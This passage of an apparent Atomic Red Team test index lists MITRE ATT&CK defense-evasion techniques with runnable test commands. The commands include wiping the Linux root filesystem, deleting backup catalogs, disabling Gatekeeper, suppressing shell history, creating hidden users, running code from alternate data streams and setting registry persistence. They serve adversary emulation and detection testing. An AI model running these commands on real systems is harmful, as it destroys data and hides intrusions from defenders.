- name: wbadmin
description: "This test deletes Windows Backup catalogs. \n"
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: true
command: 'wbadmin delete catalog -quiet
'
- name: Delete Filesystem - Linux
description: 'This test deletes the entire root filesystem of a Linux system.
This technique was used by Amnesia IoT malware to avoid analysis. This test
is dangerous and destructive, do NOT use on production equipment.
'
supported_platforms:
- linux
- centos
- ubuntu
executor:
name: bash
command: 'rm -rf / --no-preserve-root > /dev/null 2> /dev/null
'
- name: Delete-PrefetchFile
description: 'Delete a single prefetch file. Deletion of prefetch files is
a known anti-forensic technique.
'
supported_platforms:
- windows
executor:
name: powershell
elevation_required: true
command: 'Remove-Item -Path (Join-Path "$Env:SystemRoot\prefetch\" (Get-ChildItem
-Path "$Env:SystemRoot\prefetch\*.pf" -Name)[0])
'
T1222:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
- Windows event logs
x_mitre_permissions_required:
- User
- Administrator
- SYSTEM
- root
name: File and Directory Permissions Modification
description: |-
File and directory permissions are commonly managed by discretionary access control lists (DACLs) specified by the file or directory owner. File and directory DACL implementations may vary by platform, but generally explicitly designate which users/groups can perform which actions (ex: read, write, execute, etc.). (Citation: Microsoft DACL May 2018) (Citation: Microsoft File Rights May 2018) (Citation: Unix File Permissions)
Adversaries may modify file or directory permissions/attributes to evade intended DACLs. (Citation: Hybrid Analysis Icacls1 June 2018) (Citation: Hybrid Analysis Icacls2 May 2018) Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions such as Administrator/root depending on the file or directory's existing permissions to enable malicious activity such as modifying, replacing, or deleting specific files/directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1015), [Logon Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files.
id: attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196
modified: '2019-07-09T15:01:23.290Z'
x_mitre_platforms:
- Linux
- Windows
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '2.0'
type: attack-pattern
x_mitre_detection: |-
Monitor and investigate attempts to modify DACLs and file/directory ownership, such as use of icacls (Citation: Microsoft icacls OCT 2017), takeown (Citation: Microsoft takeown OCT 2017), attrib (Citation: Microsoft attrib OCT 2017), and [PowerShell](https://attack.mitre.org/techniques/T1086) Set-Acl (Citation: Microsoft SetAcl) in Windows and chmod (Citation: Linux chmod)/chown (Citation: Linux chown) in macOS/Linux. Many of these are built-in system utilities and may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.
Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. Windows Security Log events (Event ID 4670) are used when DACLs are modified. (Citation: EventTracker File Permissions Feb 2014)
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- CrowdStrike Falcon OverWatch
- Jan Miller, CrowdStrike
created: '2018-10-17T00:14:20.652Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
external_references:
- external_id: T1222
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1222
- source_name: Microsoft DACL May 2018
description: Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19,
2018.
url: https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces
- source_name: Microsoft File Rights May 2018
description: Microsoft. (2018, May 30). File Security and Access Rights. Retrieved
August 19, 2018.
url: https://docs.microsoft.com/windows/desktop/fileio/file-security-and-access-rights
- source_name: Unix File Permissions
description: Tutorials Point. (n.d.). Unix / Linux - File Permission / Access
Modes. Retrieved August 19, 2018.
url: https://www.tutorialspoint.com/unix/unix-file-permission.htm
- source_name: Hybrid Analysis Icacls1 June 2018
description: Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe.
Retrieved August 19, 2018.
url: https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100
- source_name: Hybrid Analysis Icacls2 May 2018
description: Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll.
Retrieved August 19, 2018.
url: https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110
- source_name: Microsoft icacls OCT 2017
description: Plett, C. et al.. (2017, October 17). icacls. Retrieved August
19, 2018.
url: https://docs.microsoft.com/windows-server/administration/windows-commands/icacls
- source_name: Microsoft takeown OCT 2017
description: Plett, C. et al.. (2017, October 15). takeown. Retrieved August
19, 2018.
url: https://docs.microsoft.com/windows-server/administration/windows-commands/takeown
- source_name: Microsoft attrib OCT 2017
description: Plett, C. et al.. (2017, October 15). attrib. Retrieved August
19, 2018.
url: https://docs.microsoft.com/windows-server/administration/windows-commands/attrib
- source_name: Microsoft SetAcl
description: Microsoft. (n.d.). Set-Acl. Retrieved August 19, 2018.
url: https://docs.microsoft.com/powershell/module/microsoft.powershell.security/set-acl
- source_name: Linux chmod
description: MacKenzie, D. & Meyering, J. (n.d.). chmod(1) - Linux man page.
Retrieved August 19, 2018.
url: https://linux.die.net/man/1/chmod
- source_name: Linux chown
description: MacKenzie, D. & Meyering, J. (n.d.). chown(1) - Linux man page.
Retrieved August 19, 2018.
url: https://linux.die.net/man/1/chown
- source_name: EventTracker File Permissions Feb 2014
description: Netsurion. (2014, February 19). Monitoring File Permission Changes
with the Windows Security Log. Retrieved August 19, 2018.
url: https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/
x_mitre_defense_bypassed:
- File system access controls
identifier: T1222
atomic_tests:
- name: Take ownership using takeown utility
description: 'Modifies the filesystem permissions of the specified file or folder
to take ownership of the object.
'
supported_platforms:
- windows
input_arguments:
file_folder_to_own:
description: Path of the file or folder for takeown to take ownership.
type: path
default: C:\AtomicRedTeam\atomics\T1222\T1222.yaml
executor:
name: command_prompt
command: 'takeown.exe /f #{file_folder_to_own}
'
- name: Take ownership recursively using takeown utility
description: 'Modifies the filesystem permissions of the specified folder to
take ownership of it and its contents.
'
supported_platforms:
- windows
input_arguments:
folder_to_own:
description: Path of the folder for takeown to take ownership.
type: path
default: C:\AtomicRedTeam\atomics\T1222
executor:
name: command_prompt
command: 'takeown.exe /f #{folder_to_own} /r
'
- name: cacls - Grant permission to specified user or group
description: 'Modifies the filesystem permissions of the specified file or folder
to allow the specified user or group Full Control.
'
supported_platforms:
- windows
input_arguments:
file_or_folder:
description: Path of the file or folder to change permissions.
type: path
default: C:\AtomicRedTeam\atomics\T1222\T1222.yaml
user_or_group:
description: User or group to allow full control
type: string
default: Everyone
executor:
name: command_prompt
command: 'cacls.exe #{file_or_folder} /grant #{user_or_group}:F
'
- name: cacls - Grant permission to specified user or group recursively
description: 'Modifies the filesystem permissions of the specified folder and
contents to allow the specified user or group Full Control.
'
supported_platforms:
- windows
input_arguments:
file_or_folder:
description: Path of the file or folder to change permissions.
type: path
default: C:\AtomicRedTeam\atomics\T1222
user_or_group:
description: User or group to allow full control
type: string
default: Everyone
executor:
name: command_prompt
command: 'cacls.exe #{file_or_folder} /grant #{user_or_group}:F /t
'
- name: icacls - Grant permission to specified user or group
description: 'Modifies the filesystem permissions of the specified file or folder
to allow the specified user or group Full Control.
'
supported_platforms:
- windows
input_arguments:
file_or_folder:
description: Path of the file or folder to change permissions.
type: path
default: C:\AtomicRedTeam\atomics\T1222\T1222.yaml
user_or_group:
description: User or group to allow full control
type: string
default: Everyone
executor:
name: command_prompt
command: 'icacls.exe #{file_or_folder} /grant #{user_or_group}:F
'
- name: icacls - Grant permission to specified user or group recursively
description: 'Modifies the filesystem permissions of the specified folder and
contents to allow the specified user or group Full Control.
'
supported_platforms:
- windows
input_arguments:
file_or_folder:
description: Path of the file or folder to change permissions.
type: path
default: C:\AtomicRedTeam\atomics\T1222
user_or_group:
description: User or group to allow full control
type: string
default: Everyone
executor:
name: command_prompt
command: 'icacls.exe #{file_or_folder} /grant #{user_or_group}:F /t
'
- name: attrib - Remove read-only attribute
description: 'Removes the read-only attribute from a file or folder using the
attrib.exe command.
'
supported_platforms:
- windows
input_arguments:
file_or_folder:
description: Path of the file or folder remove attribute.
type: path
default: C:\AtomicRedTeam\atomics\T1222
executor:
name: command_prompt
command: 'attrib.exe -r #{file_or_folder}
'
- name: chmod - Change file or folder mode (numeric mode)
description: 'Changes a file or folder''s permissions using chmod and a specified
numeric mode.
'
supported_platforms:
- macos
- linux
input_arguments:
file_or_folder:
description: Path of the file or folder
type: path
default: "/tmp/AtomicRedTeam/atomics/T1222"
numeric_mode:
description: Specified numeric mode value
type: string
default: 755
executor:
name: bash
command: 'chmod #{numeric_mode} #{file_or_folder}
'
- name: chmod - Change file or folder mode (symbolic mode)
description: 'Changes a file or folder''s permissions using chmod and a specified
symbolic mode.
'
supported_platforms:
- macos
- linux
input_arguments:
file_or_folder:
description: Path of the file or folder
type: path
default: "/tmp/AtomicRedTeam/atomics/T1222"
symbolic_mode:
description: Specified symbolic mode value
type: string
default: a+w
executor:
name: bash
command: 'chmod #{symbolic_mode} #{file_or_folder}
'
- name: chmod - Change file or folder mode (numeric mode) recursively
description: 'Changes a file or folder''s permissions recursively using chmod
and a specified numeric mode.
'
supported_platforms:
- macos
- linux
input_arguments:
file_or_folder:
description: Path of the file or folder
type: path
default: "/tmp/AtomicRedTeam/atomics/T1222"
numeric_mode:
description: Specified numeric mode value
type: string
default: 755
executor:
name: bash
command: 'chmod #{numeric_mode} #{file_or_folder} -R
'
- name: chmod - Change file or folder mode (symbolic mode) recursively
description: 'Changes a file or folder''s permissions recursively using chmod
and a specified symbolic mode.
'
supported_platforms:
- macos
- linux
input_arguments:
file_or_folder:
description: Path of the file or folder
type: path
default: "/tmp/AtomicRedTeam/atomics/T1222"
symbolic_mode:
description: Specified symbolic mode value
type: string
default: a+w
executor:
name: bash
command: 'chmod #{symbolic_mode} #{file_or_folder} -R
'
- name: chown - Change file or folder ownership and group
description: 'Changes a file or folder''s ownership and group information using
chown.
'
supported_platforms:
- macos
- linux
input_arguments:
file_or_folder:
description: Path of the file or folder
type: path
default: "/tmp/AtomicRedTeam/atomics/T1222/T1222.yaml"
owner:
description: Username of desired owner
type: string
default: root
group:
description: Group name of desired group
type: string
default: root
executor:
name: bash
command: 'chown #{owner}:#{group} #{file_or_folder}
'
- name: chown - Change file or folder ownership and group recursively
description: 'Changes a file or folder''s ownership and group information recursively
using chown.
'
supported_platforms:
- macos
- linux
input_arguments:
file_or_folder:
description: Path of the file or folder
type: path
default: "/tmp/AtomicRedTeam/atomics/T1222"
owner:
description: Username of desired owner
type: string
default: root
group:
description: Group name of desired group
type: string
default: root
executor:
name: bash
command: 'chown #{owner}:#{group} #{file_or_folder} -R
'
- name: chown - Change file or folder mode ownership only
description: 'Changes a file or folder''s ownership only using chown.
'
supported_platforms:
- macos
- linux
input_arguments:
file_or_folder:
description: Path of the file or folder
type: path
default: "/tmp/AtomicRedTeam/atomics/T1222/T1222.yaml"
owner:
description: Username of desired owner
type: string
default: root
executor:
name: bash
command: 'chown #{owner} #{file_or_folder}
'
- name: chown - Change file or folder ownership recursively
description: 'Changes a file or folder''s ownership only recursively using chown.
'
supported_platforms:
- macos
- linux
input_arguments:
file_or_folder:
description: Path of the file or folder
type: path
default: "/tmp/AtomicRedTeam/atomics/T1222"
owner:
description: Username of desired owner
type: string
default: root
executor:
name: bash
command: 'chown #{owner} #{file_or_folder} -R
'
- name: chattr - Remove immutable file attribute
description: |
Remove's a file's `immutable` attribute using `chattr`.
This technique was used by the threat actor Rocke during the compromise of Linux web servers.
supported_platforms:
- macos
- linux
input_arguments:
file_to_modify:
description: Path of the file
type: path
default: "/var/spool/cron/root"
executor:
name: sh
command: 'chattr -i #{file_to_modify}
'
T1144:
technique:
x_mitre_permissions_required:
- User
- Administrator
x_mitre_data_sources:
- File monitoring
- Process command-line parameters
name: Gatekeeper Bypass
description: "In macOS and OS X, when applications or programs are downloaded
from the internet, there is a special attribute set on the file called com.apple.quarantine.
This attribute is read by Apple's Gatekeeper defense program at execution
time and provides a prompt to the user to allow or deny execution. \n\nApps
loaded onto the system from USB flash drive, optical disk, external hard drive,
or even from a drive shared over the local network won’t set this flag. Additionally,
other utilities or events like drive-by downloads don’t necessarily set it
either. This completely bypasses the built-in Gatekeeper check. (Citation:
Methods of Mac Malware Persistence) The presence of the quarantine flag can
be checked by the xattr command xattr /path/to/MyApp.app for
com.apple.quarantine. Similarly, given sudo access or elevated
permission, this attribute can be removed with xattr as well, sudo xattr
-r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing
quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation,
a file will be downloaded from the internet and given a quarantine flag before
being saved to disk. When the user tries to open the file or application,
macOS’s gatekeeper will step in and check for the presence of this flag. If
it exists, then macOS will then prompt the user to confirmation that they
want to run the program and will even provide the URL where the application
came from. However, this is all based on the file being downloaded from a
quarantine-savvy application. (Citation: Bypassing Gatekeeper)"
id: attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e
x_mitre_platforms:
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: Monitoring for the removal of the com.apple.quarantine
flag by a user instead of the operating system is a suspicious action and
should be examined further. Monitor and investigate attempts to modify extended
file attributes with utilities such as xattr. Built-in system
utilities may generate high false positive alerts, so compare against baseline
knowledge for how systems are typically used and correlate modification events
with other indications of malicious activity where possible.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
modified: '2019-06-25T14:44:15.142Z'
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
external_references:
- external_id: T1144
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1144
- description: Patrick Wardle. (2014, September). Methods of Malware Persistence
on Mac OS X. Retrieved July 5, 2017.
source_name: Methods of Mac Malware Persistence
url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
- source_name: Clearing quarantine attribute
description: Rich Trouton. (2012, November 20). Clearing the quarantine extended
attribute from downloaded applications. Retrieved July 5, 2017.
url: https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/
- source_name: OceanLotus for OS X
description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application
Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.
url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
- source_name: Bypassing Gatekeeper
description: Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper.
Retrieved July 5, 2017.
url: https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/
x_mitre_defense_bypassed:
- Application whitelisting
- Anti-virus
identifier: T1144
atomic_tests:
- name: Gatekeeper Bypass
description: 'Gatekeeper Bypass via command line
'
supported_platforms:
- macos
input_arguments:
app_path:
description: Path to app to be used
type: Path
default: myapp.app
executor:
name: sh
command: |
sudo xattr -r -d com.apple.quarantine #{app_path}
sudo spctl --master-disable
T1148:
technique:
x_mitre_data_sources:
- Process monitoring
- Authentication logs
- File monitoring
- Environment variable
x_mitre_permissions_required:
- User
name: HISTCONTROL
description: The HISTCONTROL environment variable keeps track of
what should be saved by the history command and eventually into
the ~/.bash_history file when a user logs out. This setting can
be configured to ignore commands that start with a space by simply setting
it to "ignorespace". HISTCONTROL can also be set to ignore duplicate
commands by setting it to "ignoredups". In some Linux systems, this is set
by default to "ignoreboth" which covers both of the previous examples. This
means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL
does not exist by default on macOS, but can be set by the user and will be
respected. Adversaries can use this to operate without leaving traces by simply
prepending a space to all of their terminal commands.
id: attack-pattern--086952c4-5b90-4185-b573-02bad8e11953
x_mitre_platforms:
- Linux
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Correlating a user session with a distinct lack of new commands
in their .bash_history can be a clue to suspicious behavior.
Additionally, users checking or changing their HISTCONTROL environment
variable is also suspicious.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
modified: '2019-06-25T14:23:11.141Z'
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
external_references:
- external_id: T1148
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1148
x_mitre_defense_bypassed:
- Log analysis
- Host forensic analysis
identifier: T1148
atomic_tests:
- name: Disable history collection
description: 'Disables history collection in shells
'
supported_platforms:
- linux
- macos
input_arguments:
evil_command:
description: Command to run after shell history collection is disabled
type: String
default: whoami
executor:
name: sh
command: |
export HISTCONTROL=ignoreboth
ls #{evil_command}
- name: Mac HISTCONTROL
description: ''
supported_platforms:
- macos
- linux
executor:
name: manual
steps: |
1. export HISTCONTROL=ignoreboth
2. echo export "HISTCONTROL=ignoreboth" >> ~/.bash_profile
3. ls
4. whoami > recon.txt
T1158:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
name: Hidden Files and Directories
description: |-
To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).
Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.
### Windows
Users can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.
### Linux/Mac
Users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.
### Mac
Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).
Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.
id: attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: persistence
x_mitre_detection: Monitor the file system and shell commands for files being
created with a leading "." and the Windows command-line use of attrib.exe
to add the hidden attribute.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-12-14T16:46:06.044Z'
modified: '2018-10-31T13:45:13.024Z'
external_references:
- external_id: T1158
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1158
- description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
source_name: Sofacy Komplex Trojan
url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
- description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated
code. Retrieved July 5, 2017.
source_name: Antiquated Mac Malware
url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
- description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware.
Retrieved July 10, 2017.'
source_name: WireLurker
url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf
x_mitre_defense_bypassed:
- Host forensic analysis
identifier: T1158
atomic_tests:
- name: Create a hidden file in a hidden directory
description: 'Creates a hidden file inside a hidden directory
'
supported_platforms:
- linux
- macos
executor:
name: sh
command: |
mkdir .hidden-directory
echo "this file is hidden" > .hidden-directory/.hidden-file
- name: Mac Hidden file
description: 'Hide a file on MacOS
'
supported_platforms:
- macos
executor:
name: sh
command: 'sudo xattr -lr * / 2>&1 /dev/null | grep -C 2 "00 00 00 00 00 00
00 00 40 00 FF FF FF FF 00 00"
'
- name: Hidden file
description: 'mv file to a .file
'
supported_platforms:
- macos
- linux
input_arguments:
filename:
description: path of file to hide
type: path
default: "/tmp/evil"
output_filename:
description: output path of file
type: path
default: "/tmp/evil"
executor:
name: sh
command: 'mv #{filename} .#{output_filename}
'
- name: Create Windows System File with Attrib
description: 'Creates a file and marks it as a system file using the attrib.exe
utility.
'
supported_platforms:
- windows
input_arguments:
filename:
description: path of file to mark as system
type: path
default: C:\Temp\sensitive_file.txt
executor:
name: command_prompt
elevation_required: false
command: 'attrib.exe +s #{filename}
'
- name: Create Windows Hidden File with Attrib
description: 'Creates a file and marks it as hidden using the attrib.exe utility.
'
supported_platforms:
- windows
input_arguments:
filename:
description: path of file to mark as hidden
type: path
default: C:\Temp\sensitive_file.txt
executor:
name: command_prompt
elevation_required: false
command: 'attrib.exe +h #{filename}
'
- name: Hidden files
description: 'Requires Apple Dev Tools
'
supported_platforms:
- macos
input_arguments:
filename:
description: path of file to hide
type: path
default: "/tmp/evil"
executor:
name: sh
command: 'setfile -a V #{filename}
'
- name: Hide a Directory
description: 'Hide a directory on MacOS
'
supported_platforms:
- macos
input_arguments:
filename:
description: path of file to hide
type: path
default: "/tmp/evil"
executor:
name: sh
command: 'chflags hidden #{filename}
'
- name: Show all hidden files
description: 'Show all hidden files on MacOS
'
supported_platforms:
- macos
executor:
name: sh
command: 'defaults write com.apple.finder AppleShowAllFiles YES
'
- name: Create Visible Directories
description: 'Create visible directories on MacOS and Linux
'
supported_platforms:
- macos
- linux
executor:
name: sh
command: |
mkdir visible-directory
echo "this file is visible" > visible-directory/visible-file
ls
ls visible-directory
- name: Create hidden directories and files
description: 'Create hidden directories and files on Nix platforms
'
supported_platforms:
- macos
- linux
executor:
name: sh
command: |
mkdir .hidden-directory
echo "this file is hidden" > .hidden-directory/.hidden-file
ls -la
ls -la .hidden-directory
- name: Create ADS command prompt
description: 'Create an Alternate Data Stream with the command prompt. Write
access is required.
'
supported_platforms:
- windows
input_arguments:
file_name:
description: File name of file to create ADS on.
type: string
default: test.txt
ads_filename:
description: Name of ADS file.
type: string
default: adstest.txt
executor:
name: command_prompt
elevation_required: false
command: |
echo "Normal Text." > #{file_name}
echo cmd /c echo "Shell code execution."> #{file_name}:#{ads_filename}
for /f "usebackq delims=φ" %i in (#{file_name}:#{ads_filename}) do %i
cleanup_command: 'del #{file_name}
'
- name: Create ADS PowerShell
description: 'Create an Alternate Data Stream with PowerShell. Write access
is required.
'
supported_platforms:
- windows
input_arguments:
file_name:
description: File name of file to create ADS on.
type: string
default: test.txt
ads_filename:
description: Name of ADS file.
type: string
default: adstest.txt
executor:
name: powershell
elevation_required: false
command: |
echo "test" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value "test"
set-content -path #{file_name} -stream #{ads_filename} -value "test2"
set-content -path . -stream #{ads_filename} -value "test3"
ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname
T1147:
technique:
x_mitre_data_sources:
- Authentication logs
- File monitoring
x_mitre_permissions_required:
- Administrator
- root
name: Hidden Users
description: 'Every user account in macOS has a userID associated with it. When
creating a user, you can specify the userID for that account. There is a property
value in /Library/Preferences/com.apple.loginwindow called Hide500Users
that prevents users with userIDs 500 and lower from appearing at the login
screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136)
technique with a userID under 500 and enabling this property (setting it to
Yes), an adversary can hide their user accounts much more easily: sudo
dscl . -create /Users/username UniqueID 401 (Citation: Cybereason OSX
Pirrit).'
id: attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff
x_mitre_platforms:
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: This technique prevents the new user from showing up at the
log in screen, but all of the other signs of a new user still exist. The user
still gets a home directory and will appear in the authentication logs.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
external_references:
- external_id: T1147
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1147
- source_name: Cybereason OSX Pirrit
description: Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved
July 8, 2017.
url: https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty
modified: '2019-06-25T14:31:08.274Z'
identifier: T1147
atomic_tests:
- name: Hidden Users
description: 'Add a hidden user on MacOS
'
supported_platforms:
- macos
input_arguments:
user_name:
description: username to add
type: string
default: APT
executor:
name: sh
command: 'sudo dscl . -create /Users/#{user_name} UniqueID 333
'
T1183:
technique:
x_mitre_data_sources:
- Process monitoring
- Windows Registry
- Windows event logs
x_mitre_permissions_required:
- Administrator
- SYSTEM
name: Image File Execution Options Injection
description: |-
Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010)
IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)
An example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)
* reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
* reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
* reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"
Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.
Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)
id: attack-pattern--62166220-e498-410f-a90a-19d4339d4e99
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: defense-evasion
x_mitre_detection: |-
Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)
Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017)
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Oddvar Moe, @oddvarmoe
created: '2018-01-16T16:13:52.465Z'
modified: '2018-10-31T13:45:13.024Z'
external_references:
- external_id: T1183
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1183
- description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO).
Retrieved December 18, 2017.
source_name: Microsoft Dev Blog IFEO Mar 2010
url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/
- description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December
18, 2017.
source_name: Microsoft GFlags Mar 2017
url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview
- description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description.
Retrieved December 18, 2017.
source_name: FSecure Hupigon
url: https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml
- description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December
18, 2017.
source_name: Symantec Ushedix June 2008
url: https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2
- description: Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent
Process Exit. Retrieved June 27, 2018.
source_name: Microsoft Silent Process Exit NOV 2017
url: https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit
